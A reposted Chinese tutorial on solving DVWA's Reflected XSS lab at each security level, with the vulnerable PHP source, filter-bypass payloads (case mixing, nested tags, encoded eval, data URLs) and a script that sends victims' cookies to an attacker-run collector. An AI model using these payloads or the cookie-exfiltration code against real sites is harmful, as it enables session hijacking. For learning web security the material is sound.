DVWA XSS (Reflected) 通關教程


XSS 介紹
XSS,全稱Cross Site Scripting,即跨站腳本攻擊,某種意義上也是一種注入攻擊,是指攻擊者在頁面中注入惡意的腳本代碼,當受害者訪問該頁面時,惡意代碼會在其瀏覽器上執行,需要強調的是,XSS不僅僅限於JavaScript,還包括flash等其它腳本語言。根據惡意代碼是否存儲在服務器中,XSS可以分為存儲型的XSS與反射型的XSS。

DOM型的XSS由於其特殊性,常常被分為第三種,這是一種基於DOM樹的XSS。例如服務器端經常使用document.boby.innerHtml等函數動態生成html頁面,如果這些函數在引用某些變量時沒有進行過濾或檢查,就會產生DOM型的XSS。DOM型XSS可能是存儲型,也有可能是反射型。

XSS利用的常見用途:

盜取用戶 cookies
劫持會話
流量劫持
網頁掛馬
DDOS
提升權限
...

本次先介紹反射型XSS:

 

Reflected Cross Site Scripting

反射型XSS,非持久化,需要欺騙用戶自己去點擊帶有特定參數的XSS代碼鏈接才能觸發引起(服務器中沒有這樣的頁面和內容),一般容易出現在搜索頁面。

 

Low Security Level

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 

可以看到,代碼直接采用get方式傳入了name參數,並沒有任何的過濾與檢查,存在明顯的XSS漏洞。

Exploit

最普通的測試payload:

<script>alert(/xss/)</script>


XSS鏈接:

http://www.dvwa.com/vulnerabilities/xss_r/?name=<script>alert(/xss/)</script>#

成功彈窗;

彈窗之后的實戰利用之盜取用戶 cookies 進入后台:

攻擊者自己網站http://localhost/xss/里構造:

hacker.js

var img = new Image();
img.src="http://localhost/xss/hacker.php?x=" + document.cookie;
document.body.append(img);

hacker.php

<?php
$cookie = $_GET['x'];
file_put_contents('cookie.txt', $cookie);
?>

於是插入dvwa的xss payload為:

<script src="http://localhost/xss/hacker.js" /></script>

XSS利用,得到cookies:

修改cookies從而得到權限進入后台。

 

Medium Security Level

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

可以看到,這里對輸入進行了過濾,使用str_replace函數將輸入中的<script>替換為空,這種黑名單防護機制是可以被輕松繞過的。

Exploit

1.大小寫繞過:

<ScRipt>alert(/xss/);</ScRipt>

XSS鏈接:

http://www.dvwa.com/vulnerabilities/xss_r/?name=<ScRipt>alert(/xss/);</ScRipt>#

2.雙寫方式繞過 str_replace()函數

<scr<script>ipt>alert(/xss/);</script>

XSS鏈接:

http://www.dvwa.com/vulnerabilities/xss_r/?name=<scr<script>ipt>alert(/xss/);</script>#

3.使用非 script 標簽的 xss payload

例如:

img標簽:

<img src=1 onerror=alert('xss')>

<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

iframe標簽:

<iframe onload=alert(1)>

<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>

其他標簽和利用還有很多很多….

 

High Security Level

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

可以看到,High Security Level的代碼同樣使用黑名單過濾輸入,preg_replace() 函數用於正則表達式的搜索和替換,這使得雙寫繞過、大小寫混淆繞過(正則表達式中i表示不區分大小寫)不再有效。

Exploit

雖然無法使用<script>標簽注入 XSS 代碼,但是可以通過img、body等標簽的事件或者iframe、src等標簽的構造可利用的js代碼。

例如:

1.使用 img 標簽和其編碼轉換后的 XSS payload

<img src=1 onerror=alert(/xss/)>

XSS 鏈接:

http://www.dvwa.com/vulnerabilities/xss_r/?name=<img+src=1+onerror=alert(/xss/)>#

img標簽編碼轉換后的XSS payload例如:

<img src=1 onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
<img src=1 onerror=eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41))></img>
<img src=1 onerror=eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029")></img>

2.使用 iframe 標簽

<iframe onload=alert(/xss/)>

3.使用 DATA URL 進行 XSS

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

其他的XSS payload還有很多很多…

 

Impossible Security Level

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

PHP htmlspecialchars()函數

把預定義的字符轉換為HTML實體:

& (和號)成為 &amp;
" (雙引號)成為 &quot; 
' (單引號)成為 &apos;//生效需要加 ENT_QUOTES 參數
< (小於)成為 &lt;
> (大於)成為 &gt;

可以看到,Impossible Security Level的代碼使用htmlspecialchars函數把預定義的字符:

& " ' < >

轉換為HTML實體,防止瀏覽器將其作為HTML元素。從而防治了反射型XSS利用和危害。

 

 

轉載自:AnCoLin's Blog|影風博客DVWA XSS (Reflected) 通關教程


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM